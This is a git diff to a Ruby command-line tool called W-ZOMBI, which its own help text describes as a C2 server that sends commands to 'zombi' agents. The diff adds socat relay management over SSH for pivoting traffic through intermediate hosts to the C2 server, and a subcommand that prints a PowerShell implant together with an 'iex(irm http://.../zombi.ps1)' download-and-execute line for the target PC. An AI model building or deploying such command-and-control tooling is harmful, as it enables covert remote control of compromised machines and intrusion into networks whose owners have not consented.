diff --git a/adn/tools/cli/wzombi.rb b/adn/tools/cli/wzombi.rb index 533eb881..097ae199 100644 --- a/adn/tools/cli/wzombi.rb +++ b/adn/tools/cli/wzombi.rb @@ -2,10 +2,12 @@ require 'optparse' require 'json' +require 'shellwords' require_relative '../core/colores' require_relative '../w-zombi/lib/wzombi/config' require_relative '../w-zombi/lib/wzombi/server' require_relative '../w-zombi/lib/wzombi/command_store' +require_relative '../w-zombi/lib/wzombi/engine/ps1_builder' module ADN class SubcomandoWZombi @@ -30,6 +32,8 @@ module ADN actualizar_comando(@args[1]) when 'log' ver_logs + when 'relay' + cmd_relay(@args[1..-1]) when 'ayuda', '-h', '--help' ayuda else @@ -42,7 +46,7 @@ module ADN private def iniciar_servidor - @logger.info("Iniciando servidor W-ZOMBI v2.0") + @logger.info("Iniciando servidor W-ZOMBI v2.1") begin WZombi::Server.new(@config).start rescue Errno::EADDRINUSE @@ -76,22 +80,154 @@ module ADN system("tail -f #{log_path}") end + # ─── Relay: gestión de socat relays en nodos intermedios ──────── + + def cmd_relay(args) + subcmd = args&.shift + case subcmd + when 'start' + relay_start(args) + when 'stop' + relay_stop(args) + when 'status' + relay_status(args) + when 'ps1' + relay_ps1(args) + else + puts <<~HELP + #{Color::CYAN}🧟 W-ZOMBI Relay Switch#{Color::RESET} + + Uso: ./adn/tools/run wzombi relay [args] + + Acciones: + start [port] Inicia relay socat (default port: 8001) + stop [port] Detiene relay + status [port] Verifica estado del relay + ps1 [port] Genera PS1 para zombi vía relay + + Ejemplo completo: + wzombi relay start srv-dasu 8001 + wzombi relay ps1 192.168.1.13 8001 + wzombi cmd "ipconfig /all" + wzombi relay status srv-dasu + wzombi relay stop srv-dasu + HELP + end + end + + def relay_start(args) + host = args&.shift + port = args&.shift || "8001" + unless host + @logger.error("Falta host. Uso: wzombi relay start [port]") + exit 1 + end + + ns8_ip = ENV.fetch("WZ_NS8_IP", "100.111.195.4") + ns8_port = @config.puerto + + puts "#{Color::CYAN}🧟 Relay W-Zombi: #{host}:#{port} → NS8(#{ns8_ip}:#{ns8_port})#{Color::RESET}" + + # Matar relay anterior + system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\" 2>/dev/null'") + sleep 0.5 + + # Lanzar socat relay + socat_cmd = "socat TCP-LISTEN:#{port},fork,reuseaddr,bind=0.0.0.0 TCP:#{ns8_ip}:#{ns8_port}" + ssh_cmd = "ssh #{host} 'nohup #{socat_cmd} > /tmp/wzombi-relay.log 2>&1 & echo PID:$!'" + output = `#{ssh_cmd} 2>&1`.strip + pid = output[/PID:(\d+)/, 1] + + if pid + sleep 1 + test = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip + if test.include?('"cmd"') + @logger.exito("Relay activo — #{host}:#{port} → NS8:#{ns8_port} (PID: #{pid})") + puts " #{Color::DIM}Test: #{test}#{Color::RESET}" + puts "\n #{Color::YELLOW}Para generar PS1: wzombi relay ps1 #{port}#{Color::RESET}" + else + @logger.advertencia("Relay lanzado (PID: #{pid}) pero no responde") + puts " Revisar: ssh #{host} cat /tmp/wzombi-relay.log" + end + else + @logger.error("Error lanzando relay en #{host}") + exit 1 + end + end + + def relay_stop(args) + host = args&.shift + port = args&.shift || "8001" + unless host + @logger.error("Falta host. Uso: wzombi relay stop [port]") + exit 1 + end + + system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null") + @logger.exito("Relay detenido en #{host}:#{port}") + end + + def relay_status(args) + host = args&.shift + port = args&.shift || "8001" + unless host + @logger.error("Falta host. Uso: wzombi relay status [port]") + exit 1 + end + + # Verificar si socat está escuchando + listening = `ssh #{host} "ss -tlnp 2>/dev/null | grep :#{port}" 2>/dev/null`.strip + response = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip + + if !listening.empty? && response.include?('"cmd"') + @logger.exito("Relay ACTIVO en #{host}:#{port}") + puts " #{Color::DIM}Respuesta: #{response}#{Color::RESET}" + elsif !listening.empty? + @logger.advertencia("Relay escuchando en #{host}:#{port} pero backend no responde") + else + @logger.error("Relay NO activo en #{host}:#{port}") + end + end + + def relay_ps1(args) + relay_ip = args&.shift + relay_port = args&.shift || "8001" + unless relay_ip + @logger.error("Falta IP del relay. Uso: wzombi relay ps1 [port]") + exit 1 + end + + host = "#{relay_ip}:#{relay_port}" + ps1 = WZombi::Engine::PS1Builder.build(host: host) + + puts "#{Color::CYAN}🧟 PS1 para zombi vía relay (#{host})#{Color::RESET}" + puts "#{Color::DIM}─────────────────────────────────────────────#{Color::RESET}" + puts ps1 + puts "#{Color::DIM}─────────────────────────────────────────────#{Color::RESET}" + puts "\n#{Color::YELLOW}En PowerShell de la PC target:#{Color::RESET}" + puts " iex(irm http://#{host}/zombi.ps1)" + puts "\n#{Color::YELLOW}O copiar/pegar el PS1 de arriba directamente.#{Color::RESET}" + end + def ayuda puts <<~HELP - #{Color::CYAN}🧟 Herramienta W-ZOMBI v2.0#{Color::RESET} + #{Color::CYAN}🧟 Herramienta W-ZOMBI v2.1#{Color::RESET} Uso: ./adn/tools/run wzombi [argumentos] Acciones: - start Levanta el servidor C2 (WEBrick) - cmd "" Actualiza el comando para los agentes - log Muestra la telemetría en tiempo real (tail -f) - ayuda Muestra esta ayuda + start Levanta el servidor C2 (WEBrick) + cmd "" Actualiza el comando para los agentes + log Muestra la telemetría en tiempo real (tail -f) + relay [args] Gestión de relays (ver: wzombi relay) + ayuda Muestra esta ayuda Ejemplos: ./adn/tools/run wzombi cmd "ipconfig /all" ./adn/tools/run wzombi start + ./adn/tools/run wzombi relay start srv-dasu HELP end end end + diff --git a/adn/tools/w-zombi/bin/w-zombi b/adn/tools/w-zombi/bin/w-zombi index c75f5c94..e324e17d 100755 --- a/adn/tools/w-zombi/bin/w-zombi +++ b/adn/tools/w-zombi/bin/w-zombi @@ -9,12 +9,18 @@ config = WZombi::Config.new(base_path: base) def help puts <<~HELP Uso: - w-zombi start - w-zombi cmd "" + w-zombi start Inicia servidor WEBrick + w-zombi cmd "" Envía comando al zombi + w-zombi relay start [port] Inicia relay socat en host remoto + w-zombi relay stop Detiene relay en host remoto + w-zombi relay status Estado del relay en host remoto + w-zombi relay ps1 Genera PS1 para conectar vía relay w-zombi ayuda | -h | -help - Ejemplo ADN: - adn tools w-zombi cmd "ipconfig" + Ejemplo relay: + w-zombi relay start srv-dasu 8001 # Relay en srv-dasu:8001 → NS8:8000 + w-zombi relay ps1 192.168.1.13 # PS1 que apunta al relay + w-zombi relay stop srv-dasu # Detener relay HELP end @@ -34,6 +40,100 @@ when "cmd" store.update(command) puts "Comando actualizado: #{command}" +when "relay" + subcmd = ARGV[1] + case subcmd + when "start" + host = ARGV[2] + port = ARGV[3] || "8001" + unless host + puts "Falta host. Uso: w-zombi relay start [port]" + exit 1 + end + + ns8_ip = ENV.fetch("WZ_NS8_IP", "100.111.195.4") + ns8_port = config.puerto + + puts "🧟 Relay W-Zombi → #{host}:#{port} → NS8(#{ns8_ip}:#{ns8_port})" + + # Matar relay anterior si existe + system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null") + sleep 0.5 + + # Lanzar socat relay + socat_cmd = "socat TCP-LISTEN:#{port},fork,reuseaddr,bind=0.0.0.0 TCP:#{ns8_ip}:#{ns8_port}" + result = system("ssh #{host} 'nohup #{socat_cmd} > /tmp/wzombi-relay.log 2>&1 & echo PID:$!'") + + if result + # Verificar + sleep 1 + test = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip + if test.include?('"cmd"') + puts "✅ Relay activo — #{host}:#{port} → NS8:#{ns8_port}" + puts " Test: #{test}" + puts "\n Para generar PS1: w-zombi relay ps1 " + else + puts "⚠️ Relay lanzado pero no responde. Revisar logs en #{host}:/tmp/wzombi-relay.log" + end + else + puts "❌ Error lanzando relay en #{host}" + exit 1 + end + + when "stop" + host = ARGV[2] + port = ARGV[3] || "8001" + unless host + puts "Falta host. Uso: w-zombi relay stop [port]" + exit 1 + end + + system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null") + puts "🛑 Relay detenido en #{host}:#{port}" + + when "status" + host = ARGV[2] + port = ARGV[3] || "8001" + unless host + puts "Falta host. Uso: w-zombi relay status [port]" + exit 1 + end + + output = `ssh #{host} "ss -tlnp 2>/dev/null | grep :#{port}; echo '---'; curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json 2>/dev/null || echo 'NO_RESPONSE'" 2>&1`.strip + lines = output.split("---") + + listening = lines[0]&.include?(port.to_s) + response = lines[1]&.strip + + if listening && response&.include?('"cmd"') + puts "✅ Relay ACTIVO en #{host}:#{port}" + puts " Respuesta: #{response}" + elsif listening + puts "⚠️ Relay escuchando en #{host}:#{port} pero sin respuesta del backend" + else + puts "❌ Relay NO activo en #{host}:#{port}" + end + + when "ps1" + relay_ip = ARGV[2] + relay_port = ARGV[3] || "8001" + unless relay_ip + puts "Falta IP del relay. Uso: w-zombi relay ps1 [port]" + exit 1 + end + + # Generar PS1 que apunta al relay en vez de NS8 directo + require_relative '../lib/wzombi/engine/ps1_builder' + host = "#{relay_ip}:#{relay_port}" + ps1 = WZombi::Engine::PS1Builder.build(host: host) + puts ps1 + + else + puts "Subcomando relay desconocido: #{subcmd}" + puts "Uso: w-zombi relay start|stop|status|ps1 " + exit 1 + end + when "ayuda", "-h", "-help", nil help